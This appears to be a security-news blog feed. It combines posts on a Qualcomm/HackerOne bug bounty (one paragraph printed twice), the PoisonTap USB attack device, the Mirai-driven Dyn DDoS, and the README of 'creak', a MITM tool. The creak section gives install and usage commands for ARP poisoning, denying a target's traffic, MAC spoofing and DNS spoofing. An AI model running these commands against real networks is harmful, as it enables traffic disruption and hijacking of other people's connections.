Banks should also train their employees to be on the lookout for common threats like targeted attacks. It sounds like Cobalt likes to use malicious email attachments exploiting Microsoft Word vulnerabilities to gain a foothold into a target organization's network.
If employees know how to spot suspicious emails, a group like Cobalt won't be able to access an organization's ATM servers. They will therefore need to conduct their attacks locally, which is certainly more risky.
Just as an added layer of defense, banks should also use email filters and blacklists to reduce the chance that malicious emails will ever reach their employees.

Qualcomm and HackerOne Partner on Bounty Program

Qualcomm kicked off its first bug bounty program Thursday, opening the door for white hat hackers to find flaws in a dozen Snapdragon mobile chipsets and related software. Rewards for the invite-only bug bounty program top $15,000 each. HackerOne will facilitate Qualcomm’s bounty program; the chipmaker is hoping to secure millions of smartphones running Snapdragon silicon, including phones sold by Samsung, LG, HTC and Google.
Eligible Snapdragon products include eight mobile processors, four LTE modems and additional related silicon technologies and software. The bug bounty program will be administered through the Qualcomm Technologies business unit in conjunction with HackerOne. The program, Qualcomm claims, is the first of its kind for a major silicon vendor. “With Qualcomm Technologies’ vulnerability rewards program they will continue to build vital relationships with the external security researcher community and supplement the great work their internal security team is doing,” said Alex Rice, chief technology officer for HackerOne in a prepared statement. Qualcomm joins a number of high-profile and recently launched bug-bounty programs. Earlier this month the Department of Defense awarded a contract to HackerOne to bolster the cyber security of the U.S. Army’s digital assets. That complemented another investment by the U.S. government with Synack, which was picked to create a bug-bounty platform for the IRS. HackerOne also had a high profile Hack the Pentagon bug bounty program which ran from April 18 to May 12 earlier this year. Qualcomm and HackerOne said that 40 security researchers have been invited to participate. The bounty program includes a list of chipset models eligible for submissions, along with software components that include Linux kernel code (part of “Android for MSM”) and WLAN and Bluetooth firmware. At the top range of the bounty program are $15,000 rewards for critical bugs tied to Snapdragon cellular modems. Rewards of $9,000 are tied to ‘critical’ Trusted Execution Environment, or TEE, and bootloader vulnerabilities. Security vulnerabilities rated ‘high’ payout between $5,000 and $4,000. Vulnerabilities considered ‘medium’ and ‘low range’ offer rewards of $2,000 to $1,000. Not eligible, are issues tied to OEM modifications, some denial of service issues and bugs tied to PC software such as USB drivers, according to HackerOne. Qualcomm said the rewards program is effective starting November 17. Qualcomm’s bug bounty program comes on the heels of this summer’s revelation of four massive vulnerabilities, dubbed Quadrooter, which impacted over 900 million smartphones running Qualcomm chipsets. Security research firm Check Point discovered the vulnerabilities and said they could allow an attacker to elevate privileges on top Android handsets and give an attacker complete control over targeted devices. In October, Google released the last in a series of patches addressing the vulnerabilities.

Eligible Snapdragon products include eight mobile processors, four LTE modems and additional related silicon technologies and software. The bug bounty program will be administered through the Qualcomm Technologies business unit in conjunction with HackerOne. The program, Qualcomm claims, is the first of its kind for a major silicon vendor. “With Qualcomm Technologies’ vulnerability rewards program they will continue to build vital relationships with the external security researcher community and supplement the great work their internal security team is doing,” said Alex Rice, chief technology officer for HackerOne in a prepared statement. Qualcomm joins a number of high-profile and recently launched bug-bounty programs. Earlier this month the Department of Defense awarded a contract to HackerOne to bolster the cyber security of the U.S. Army’s digital assets. That complemented another investment by the U.S. government with Synack, which was picked to create a bug-bounty platform for the IRS. HackerOne also had a high profile Hack the Pentagon bug bounty program which ran from April 18 to May 12 earlier this year. Qualcomm and HackerOne said that 40 security researchers have been invited to participate. The bounty program includes a list of chipset models eligible for submissions, along with software components that include Linux kernel code (part of “Android for MSM”) and WLAN and Bluetooth firmware. At the top range of the bounty program are $15,000 rewards for critical bugs tied to Snapdragon cellular modems. Rewards of $9,000 are tied to ‘critical’ Trusted Execution Environment, or TEE, and bootloader vulnerabilities. Security vulnerabilities rated ‘high’ payout between $5,000 and $4,000. Vulnerabilities considered ‘medium’ and ‘low range’ offer rewards of $2,000 to $1,000. Not eligible, are issues tied to OEM modifications, some denial of service issues and bugs tied to PC software such as USB drivers, according to HackerOne. Qualcomm said the rewards program is effective starting November 17. Qualcomm’s bug bounty program comes on the heels of this summer’s revelation of four massive vulnerabilities, dubbed Quadrooter, which impacted over 900 million smartphones running Qualcomm chipsets. Security research firm Check Point discovered the vulnerabilities and said they could allow an attacker to elevate privileges on top Android handsets and give an attacker complete control over targeted devices. In October, Google released the last in a series of patches addressing the vulnerabilities.

See more at: Qualcomm and HackerOne Partner on Bounty Program https://wp.me/p3AjUX-vKy

“PoisonTap” Device Made Using $5 Raspberry Pi Can Easily Hack Password-Protected Computers

The lock screen of a computer is the ultimate locked door which every hacker seeks to break. This is because the lock screen protects the access of a PC/laptop to unauthorized access. Many hackers have tried to devise ways and means to break this ultimate door be it on Windows, Mac or Linux run PC/laptops. A hacker used a $50 device called Hak5 LAN Turtle to do the same while our very own Samy Khamkar had better ideas.
He has created a hacking device that allows attackers to easily gain access to a password-protected computer, hijack all its Internet traffic, and install backdoors. He has created this ultimate hack tool called PoisonTap using just $5 Rasberry Pi and running on Node.js. A person wanting to hack the lock screen password has to just plug in the $5 PoisonTap to Windows or Mac computer via USB, the device starts loading the exploits needed to compromise the machine without asking for the lock screen password.
The PoisonTap uses the similar method $50 device called Hak5 LAN Turtle and targets the weak Ethernet authentication in Mac and Windows PC. Once the PoisonTap is connected, the hacking tool emulates an Ethernet device over USB. The Windows/Mac PC recognizes the PoisonTap as Ethernet device it loads it as a low-priority network device and sends it a DHCP request. The PoisonTap then starts hijacking the internet traffic by taking control of IPv4 space. Once this is done, Poison can steal HTTP cookies and sessions for the Alexa top 1 million websites from the victim’s browser.
Khamkar has said that cookie siphoning is possible even if the web browser is not actively used. As long as the application is running in the background, it’s likely that at least one of the open webpages is making HTTP requests.
PoisonTap can then install  backdoors for hundreds of thousands of domains, and open a remote access channel to the victim’s router.
Since PoisonTap steals cookies and not credentials, the attacker can hijack the victim’s online accounts even if they have two-factor authentication (2FA) enabled. Furthermore, HTTPS protection is bypassed if the “secure” cookie flag and HSTS are not enabled. Khamkar says PoisonTap can also bypass several other security mechanisms, including same-origin policy (SOP), HttpOnly cookies, X-Frame-Options HTTP response headers, DNS pinning and cross-origin resource sharing (CORS).
The interesting part is that PoisonTap needed to connect only once to the target PC. Once it is connected and it installs the backdoors, the hacker has access to the exploited PC even when it is disconnected.

creak – Poison, Reset, Spoof, Redirect MITM Script

Performs some of the most famous MITM attack on target addresses located in a local network. Among these, deny navigation and download capabilities of a target host in the local network performing an ARP poison attack and sending reset TCP packets to every request made to the router. Born as a didactic project for learning python language, I decline every responsibility for any abuse, including malevolent or illegal use of this code.

Installation

$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install

or simply clone the repository and run the creak.py after all requirements are installed:

$ git clone https://github.com/codepr/creak.git

It is required to have installed pcap libraries for raw packet manipulations and dpkt module, for dns spoofing options is required to have installed dnet module from libdnet package, do not confuse it with pydnet (network evaluation tool) module. It can use also scapy if desired, can just be set in the config.py file.
Options

Usage: creak.py [options] dev

Options:
  -h, --help           show this help message and exit
  -1, --sessions-scan  Sessions scan mode
  -2, --dns-spoof      Dns spoofing
  -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
  -x, --spoof          Spoof mode, generate a fake MAC address to be used
                       during attack
  -m MACADDR           Mac address octet prefix (could be an entire MAC
                       address in the form AA:BB:CC:DD:EE:FF)
  -M MANUFACTURER      Manufacturer of the wireless device, for retrieving a
                       manufactur based prefix for MAC spoof
  -s SOURCE            Source ip address (e.g. a class C address like
                       192.168.1.150) usually the router address
  -t TARGET            Target ip address (e.g. a class C address like
                       192.168.1.150), can be specified multiple times
  -p PORT              Target port to shutdown
  -a HOST              Target host that will be redirect while navigating on
                       target machine
  -r REDIR             Target redirection that will be fetched instead of host
                       on the target machine
  -v, --verbose        Verbose output mode
  -d, --dotted         Dotted output mode

▼Advertisements

Example
Most basic usage: Deny all traffic to the target host

$ python creak.py -t 192.168.1.30 wlan0

Set a different gateway:

$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0

Set a different mac address for the device:

$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0

Spoof mac address generating a fake one:

$ python creak.py -x -t 192.168.1.30 wlan0

Spoof mac address generating one based on manufacturer(e.g Xeros):

$ python creak.py -x -M xeros -t 192.168.1.30 wlan0

DNS spoofing using a fake MAC address, redirecting ab.xy to cd.xz(e.g. localhost):

$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0

Deny multiple hosts in the subnet:

$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0

Download creak

The largest DDoS attack ever was probably pulled off by bored teens

Millions of people in the eastern U.S. woke up on a Friday morning in October to find large parts of the internet not working. No Twitter. No Netflix. No Spotify. The issue, as we later learned, was an ominous new kind of cyberattack, where “smart” household devices were marshaled into a zombie army capable of choking critical infrastructure of the web. It was the biggest distributed denial of service (DDoS) attack in history.
We were also told that given the ubiquity of these internet-connected devices — web cameras and “smart” household items of all sorts, largely made in China and shipped to the States by the boatload — this type of attack would only grow worse and more frequent.

Since then, the world’s leading cybersecurity experts have been following clues to track who is responsible. They’ve come to a disturbing conclusion: the biggest DDoS attack in history was probably not caused by a state-sponsored actor, organized crime, terror groups, or anyone with a geopolitical or financial motive. So who’s left?
“Kids,” said Mikko Hypponen, chief research officer with security firm F-Secure. “Kids who have the capability and don’t know what to do with it.”
“The source code that was released could have been written by a high school student, a smart high school student, but a high school student nonetheless,” security expert Rob Graham said after examining the malware used in the attacks. “It wasn’t particularly sophisticated.”
The attack was carried out using the Mirai malware — a malicious piece of software designed to hack hardware — that had been posted on a hacking forum for anyone to use. The hackers were able to infect millions of smart devices to work together as an army of zombie computers — known as a botnet — capable of firing huge amounts of internet traffic at servers, which overwhelmed them and knocked them offline.

The target this time was Dyn, one of the world’s leading Domain Name System (DNS) providers. These companies operate as the phonebooks of the internet, connecting users to the servers hosting the websites they visit. Despite the critical nature of Dyn’s infrastructure, the attack was so huge — reportedly 1.2 terabits per second — the company was unable to prevent its customers from being affected.
What set this attack apart from other DDoS attacks is the apparent ease with which it was carried out and the critical importance of the service it knocked offline.
Dyn said it cannot reveal details about the source of the attack or the identity of the attackers because of an ongoing law enforcement investigation.
But Flashpoint, a security company which has been monitoring this attack from the start, agreed with Hypponen and Graham.
“The technical and social indicators of this attack align more closely with attacks from the Hackforums community than the other type of actors that may be involved, such as higher-tier criminal actors, hacktivists, nation-states, and terrorist groups,” the director and two other employees wrote on their site.
Hackforums is an online community where hackers chat, share tools, and offer their services in exchange for money. It was here that a hacker known as Anna Senpai posted the source code to the malware used to compromise hundreds of thousands of “Internet of Things” (IoT) devices across the globe.
As a demonstration of just how powerful these attacks can be, security researcher Kevin Beaumont revealed that the people behind these botnets have been attempting to knock an entire country offline this week.
Liberia has a single submarine cable connecting it to the internet, and one of the botnets created with the Mirai malware has been consistently flooding it with traffic to repeatedly knock it offline for short periods of time.
Beaumont calls the group behind the Liberia attack Shadow Kills, in reference to a mocking message the attackers sent to the researcher.
While financial gain can motivate script kiddies, typically selling access to their botnets, just as often, they execute attacks such as these to show off or cause disruption and chaos for sport.
That happened two years ago, when a group of hackers called Lizard Squad attacked the PlayStation Network and Xbox Live, causing a lot of problems for Sony and Microsoft by knocking the networks offline for long periods.
Just this week in the U.K., a teenager who, at just 15, created a tool to easily carry out DDoS attacks on any website, pled guilty after the police claimed the tool had been used in 1.7 million attacks.
While security experts may call the method of attack on Dyn unsophisticated, the company holds a different view. Chief Strategy Officer Kyle York said the attack was “complicated, multi-layered, unprecedented, and more distributed than your average attack.”
In fact, he called that Friday “the proudest day in the company’s history” because of the way the engineers mitigated an attack of this size.
The success of the attack also took many in the industry by surprise. “I think it is remarkable that the attack was so successful against Dyn, considering the track record the company has,” Hypponen said.
Aside from the outcome, the fact that the attack leveraged the power of millions of unsecured devices connected directly to the internet — products like CCTV cameras, routers, and DVRs — is part of a worrying trend.
In September a similar but separate army of zombie devices created by the Mirai malware attacked the website of Brian Krebs, an investigative journalist. Since then, others have used the source code multiple times to create their own botnets, some of which were used in the attack on Dyn.
In the wake of the high-profile attack on Krebs, multiple members of Hackforums offered access to Mirai botnets for as little as $3 a time. Anyone who hires the botnet can name their target, and the hacker will turn his zombie army in that direction, with the aim of knocking the website offline for a period of time.
Hackforums administrator Jesse LaBrocca, worried about the negative attention the attack brought on his website, shut down the section selling those services.
“Unfortunately once again the few ruin it for the many,” LaBrocca wrote.
The problem facing those who control the backbone of the internet is that if a group of script kiddies can knock large portions of the web offline with such a simple attack, what’s next?
Unfortunately, there’s no easy fix for the problem. The vulnerable devices contain little to no security, often using default usernames and passwords hardwired at the factory. And the companies that make them — mostly based in China — have little incentive to make them more secure because of a lack of regulation forcing them to do so. Lastly, consumers, typically concerned with price, design, and color when buying a new product, don’t care enough about security to ask the salesman if their shiny new fridge is secure — even though the device may connect to their Wi-Fi and pose a significant security risk.
Just this week, another major flaw in IoT devices was revealed when researchers showed how a vulnerability in wireless technology used in smart devices like lights, switches, locks, and thermostats could be exploited to take control of those devices.
“This means that the vendors building these things invest the minimum amount of money possible because it is not a selling point, and this is unlikely to change,” Hypponen said.
With millions of these devices connected to the internet every week, the problem will only grow. And while it may make for lots of fun for script kiddies, for the rest of us, it’s very worrying.